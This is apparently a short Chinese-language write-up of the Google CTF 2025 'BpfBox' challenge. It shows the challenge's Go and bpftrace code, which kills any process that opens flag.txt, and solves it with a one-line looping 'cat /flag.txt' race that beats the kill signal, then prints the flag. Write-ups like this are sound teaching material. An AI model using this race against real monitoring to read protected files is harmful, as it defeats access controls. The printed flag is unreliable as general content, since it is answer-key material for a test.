文章

Google CTF 2025

BpfBox

func spawnShell(ctx context.Context) error {
	withTimeout, cancel := context.WithTimeout(ctx, time.Minute)
	defer cancel()

	cmd := exec.CommandContext(withTimeout, "/bin/sh")
	cmd.SysProcAttr = &syscall.SysProcAttr{
		Credential: &syscall.Credential{Uid: 99999, Gid: 99999},
		Setpgid:    true,
		Pdeathsig:  syscall.SIGKILL,
	}
	cmd.Stdout = os.Stdout
	cmd.Stdin = os.Stdin
	cmd.Stderr = os.Stderr
	if err := cmd.Start(); err != nil {
		return err
	}

	if err := cmd.Wait(); err != nil {
		fmt.Println("command failed:", err)
	}
	return nil
}

程序给了一个低权限shell(Uid: 99999, Gid: 99999)

func getProbeParams(filename string) (uint64, uint64, error) {
	info, err := os.Stat("/flag.txt")
	if err != nil {
		return 0, 0, err
	}

	stat, ok := info.Sys().(*syscall.Stat_t)
	if !ok {
		return 0, 0, fmt.Errorf("expected Stat_t, but was: %s", info.Sys())
	}

	return stat.Dev, stat.Ino, nil
}

获取了flag文件的设备号和inode号,以标识flag文件

fentry:vmlinux:security_file_open {
	$inode = args->file->f_inode;
	$d = $inode->i_sb->s_dev;
	$i = $inode->i_ino;

	if ($d == $1 && $i == $2) {
		signal(KILL);
	}
}

检测到读取flag.txt就立刻发送KILL信号

所以说,程序利用探针检测读取flag.txt,并且关掉其进程

但是如果我一直读取呢,程序从检测到发送信号需要时间,只要一直竞争肯定能读取到

while true; do /bin/cat /flag.txt; done &

CTF{En0ugH_r4c3_c0nd1tIoNs_T0_H05t_O1yMp1c5}

许可协议:  CC BY 4.0